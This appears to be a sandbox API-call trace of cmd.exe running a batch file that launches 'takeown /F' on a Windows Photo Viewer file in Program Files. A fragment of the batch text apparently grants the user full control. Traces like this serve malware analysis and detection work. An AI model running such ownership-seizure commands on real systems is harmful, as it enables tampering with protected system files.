(_String1="takeown", _String2="DPATH") returned 16 [0111.257] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0111.257] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0111.257] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0111.257] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0111.257] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0111.257] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0111.257] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0111.257] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0111.257] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0111.257] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x418) returned 0x6d4238 [0111.257] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6d4240, lpFilePart=0x31f4b8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x31f4b8*="Desktop") returned 0x25 [0111.257] SetErrorMode (uMode=0x0) returned 0x1 [0111.257] GetProcessHeap () returned 0x6c0000 [0111.257] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4238, Size=0x64) returned 0x6d4238 [0111.257] GetProcessHeap () returned 0x6c0000 [0111.257] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4238) returned 0x64 [0111.257] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0111.257] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0111.257] GetProcessHeap () returned 0x6c0000 [0111.257] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x120) returned 0x6d42a8 [0111.258] GetProcessHeap () returned 0x6c0000 [0111.258] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x238) returned 0x6d43d0 [0111.258] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d43d0, Size=0x122) returned 0x6d43d0 [0111.258] GetProcessHeap () returned 0x6c0000 [0111.258] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d43d0) returned 0x122 [0111.258] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0111.258] GetProcessHeap () returned 0x6c0000 [0111.258] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xe0) returned 0x6d4500 [0111.258] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4500, Size=0x76) returned 0x6d4500 [0111.258] GetProcessHeap () returned 0x6c0000 [0111.258] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4500) returned 0x76 [0111.258] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0111.258] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x31f234, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31f234) returned 0xffffffff [0111.258] GetLastError () returned 0x2 [0111.259] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x31f234, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31f234) returned 0xffffffff [0111.259] GetLastError () returned 0x2 [0111.259] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0111.259] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x31f234, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31f234) returned 0x6c1270 [0111.259] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0111.259] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x31f234, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31f234) returned 0xffffffff [0111.260] GetLastError () returned 0x2 [0111.260] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x31f234, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31f234) returned 0x6c1270 [0111.260] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0111.260] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0111.260] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0111.260] GetConsoleTitleW (in: lpConsoleTitle=0x31f284, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0111.260] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x210) returned 0x6d4580 [0111.260] GetProcessHeap () returned 0x6c0000 [0111.260] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x9e) returned 0x6d4798 [0111.261] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x418) returned 0x6d4d10 [0111.261] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6d4d18, lpFilePart=0x31eda4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x31eda4*="Desktop") returned 0x25 [0111.261] SetErrorMode (uMode=0x0) returned 0x1 [0111.261] GetProcessHeap () returned 0x6c0000 [0111.261] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4d10, Size=0x64) returned 0x6d4d10 [0111.261] GetProcessHeap () returned 0x6c0000 [0111.261] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4d10) returned 0x64 [0111.261] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0111.261] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0111.261] GetProcessHeap () returned 0x6c0000 [0111.261] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x120) returned 0x6d4840 [0111.261] GetProcessHeap () returned 0x6c0000 [0111.261] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x238) returned 0x6d4968 [0111.261] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4968, Size=0x122) returned 0x6d4968 [0111.261] GetProcessHeap () returned 0x6c0000 [0111.261] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4968) returned 0x122 [0111.261] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0111.261] GetProcessHeap () returned 0x6c0000 [0111.261] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xe0) returned 0x6d4a98 [0111.261] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4a98, Size=0x76) returned 0x6d4a98 [0111.261] GetProcessHeap () returned 0x6c0000 [0111.261] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4a98) returned 0x76 [0111.262] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0111.262] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x31eb20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31eb20) returned 0xffffffff [0111.262] GetLastError () returned 0x2 [0111.262] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x31eb20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31eb20) returned 0xffffffff [0111.262] GetLastError () returned 0x2 [0111.262] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0111.262] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x31eb20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31eb20) returned 0x6c1270 [0111.262] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0111.263] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x31eb20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31eb20) returned 0xffffffff [0111.263] GetLastError () returned 0x2 [0111.263] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x31eb20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31eb20) returned 0x6c1270 [0111.263] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0111.263] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0111.263] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0111.263] GetConsoleTitleW (in: lpConsoleTitle=0x31f018, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0111.263] InitializeProcThreadAttributeList (in: lpAttributeList=0x31eea0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x31ef68 | out: lpAttributeList=0x31eea0, lpSize=0x31ef68) returned 1 [0111.263] UpdateProcThreadAttribute (in: lpAttributeList=0x31eea0, dwFlags=0x0, Attribute=0x60001, lpValue=0x31ef60, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x31eea0, lpPreviousValue=0x0) returned 1 [0111.263] GetStartupInfoW (in: lpStartupInfo=0x31ee5c | out: lpStartupInfo=0x31ee5c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0111.264] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x18) returned 0x6c1270 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0111.264] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0111.265] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0111.265] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0111.265] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0111.265] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0111.265] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0111.265] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0111.265] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0111.265] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0111.265] GetProcessHeap () returned 0x6c0000 [0111.265] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c1270 | out: hHeap=0x6c0000) returned 1 [0111.265] GetProcessHeap () returned 0x6c0000 [0111.265] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xa) returned 0x6c0db8 [0111.265] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0111.265] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x31eefc*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x31ef48 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\"", lpProcessInformation=0x31ef48*(hProcess=0x78, hThread=0x74, dwProcessId=0xf10, dwThreadId=0xf14)) returned 1 [0111.276] CloseHandle (hObject=0x74) returned 1 [0111.276] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0111.276] GetProcessHeap () returned 0x6c0000 [0111.276] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d81a8 | out: hHeap=0x6c0000) returned 1 [0111.276] GetEnvironmentStringsW () returned 0x6d5fc0* [0111.276] GetProcessHeap () returned 0x6c0000 [0111.276] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb5c) returned 0x6d81a8 [0111.276] FreeEnvironmentStringsW (penv=0x6d5fc0) returned 1 [0111.277] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0111.970] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x31ee3c | out: lpExitCode=0x31ee3c*=0x0) returned 1 [0111.970] CloseHandle (hObject=0x78) returned 1 [0111.970] _vsnwprintf (in: _Buffer=0x31ef84, _BufferCount=0x13, _Format="%08X", _ArgList=0x31ee48 | out: _Buffer="00000000") returned 8 [0111.973] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0111.973] GetProcessHeap () returned 0x6c0000 [0111.973] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d81a8 | out: hHeap=0x6c0000) returned 1 [0111.973] GetEnvironmentStringsW () returned 0x6d5fc0* [0111.973] GetProcessHeap () returned 0x6c0000 [0111.973] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb5c) returned 0x6d81a8 [0111.973] FreeEnvironmentStringsW (penv=0x6d5fc0) returned 1 [0111.973] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0111.973] GetProcessHeap () returned 0x6c0000 [0111.973] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d81a8 | out: hHeap=0x6c0000) returned 1 [0111.973] GetEnvironmentStringsW () returned 0x6d5fc0* [0111.973] GetProcessHeap () returned 0x6c0000 [0111.973] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb5c) returned 0x6d81a8 [0111.973] FreeEnvironmentStringsW (penv=0x6d5fc0) returned 1 [0111.973] GetProcessHeap () returned 0x6c0000 [0111.974] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c0db8 | out: hHeap=0x6c0000) returned 1 [0111.974] DeleteProcThreadAttributeList (in: lpAttributeList=0x31eea0 | out: lpAttributeList=0x31eea0) [0111.974] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.974] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0111.974] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.974] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0111.974] _get_osfhandle (_FileHandle=0) returned 0x3 [0111.974] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0111.975] SetConsoleInputExeNameW () returned 0x1 [0111.975] GetConsoleOutputCP () returned 0x1b5 [0111.975] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0111.975] SetThreadUILanguage (LangId=0x0) returned 0x409 [0111.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x31f6bc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0111.975] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0111.975] _get_osfhandle (_FileHandle=3) returned 0x78 [0111.975] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0111.975] GetProcessHeap () returned 0x6c0000 [0111.975] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4a98 | out: hHeap=0x6c0000) returned 1 [0111.975] GetProcessHeap () returned 0x6c0000 [0111.975] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4968 | out: hHeap=0x6c0000) returned 1 [0111.975] GetProcessHeap () returned 0x6c0000 [0111.976] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4840 | out: hHeap=0x6c0000) returned 1 [0111.976] GetProcessHeap () returned 0x6c0000 [0111.976] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4d10 | out: hHeap=0x6c0000) returned 1 [0111.976] GetProcessHeap () returned 0x6c0000 [0111.976] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4798 | out: hHeap=0x6c0000) returned 1 [0111.976] GetProcessHeap () returned 0x6c0000 [0111.976] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4580 | out: hHeap=0x6c0000) returned 1 [0111.976] GetProcessHeap () returned 0x6c0000 [0111.976] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4500 | out: hHeap=0x6c0000) returned 1 [0111.976] GetProcessHeap () returned 0x6c0000 [0111.976] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d43d0 | out: hHeap=0x6c0000) returned 1 [0111.976] GetProcessHeap () returned 0x6c0000 [0111.976] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d42a8 | out: hHeap=0x6c0000) returned 1 [0111.976] GetProcessHeap () returned 0x6c0000 [0111.976] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4238 | out: hHeap=0x6c0000) returned 1 [0111.976] GetProcessHeap () returned 0x6c0000 [0111.976] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d41a0 | out: hHeap=0x6c0000) returned 1 [0111.976] GetProcessHeap () returned 0x6c0000 [0111.976] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c1230 | out: hHeap=0x6c0000) returned 1 [0111.976] GetProcessHeap () returned 0x6c0000 [0111.976] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c11d0 | out: hHeap=0x6c0000) returned 1 [0111.976] _get_osfhandle (_FileHandle=3) returned 0x78 [0111.976] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0111.976] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x31f6a0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x31f6a0*=0xb3, lpOverlapped=0x0) returned 1 [0111.976] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0111.976] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0111.977] _get_osfhandle (_FileHandle=3) returned 0x78 [0111.977] GetFileType (hFile=0x78) returned 0x1 [0111.977] _get_osfhandle (_FileHandle=3) returned 0x78 [0111.977] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0111.977] GetProcessHeap () returned 0x6c0000 [0111.977] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400a) returned 0x6e4bc8 [0111.977] GetProcessHeap () returned 0x6c0000 [0111.977] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x84) returned 0x6d41a0 [0111.978] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui", nBufferLength=0x208, lpBuffer=0x31ee30, lpFilePart=0x31ee28 | out: lpBuffer="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui", lpFilePart=0x31ee28*="PhotoAcq.dll.mui") returned 0x3c [0111.978] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x31eb44 | out: lpFindFileData=0x31eb44*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x6c1270 [0111.978] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0111.978] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0111.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer", lpFindFileData=0x31eb44 | out: lpFindFileData=0x31eb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 0x6c1270 [0111.978] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0111.978] _wcsnicmp (_String1="WINDOW~4", _String2="Windows Photo Viewer", _MaxCount=0x14) returned 11 [0111.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US", lpFindFileData=0x31eb44 | out: lpFindFileData=0x31eb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0x6c1270 [0111.978] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0111.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui", lpFindFileData=0x31eb44 | out: lpFindFileData=0x31eb44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 0x6c1270 [0111.978] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0111.979] GetProcessHeap () returned 0x6c0000 [0111.979] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x2a) returned 0x6c1270 [0111.979] GetProcessHeap () returned 0x6c0000 [0111.979] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e4bc8 | out: hHeap=0x6c0000) returned 1 [0111.979] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x58) returned 0x6c11d0 [0111.979] GetProcessHeap () returned 0x6c0000 [0111.979] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x10) returned 0x6c0db8 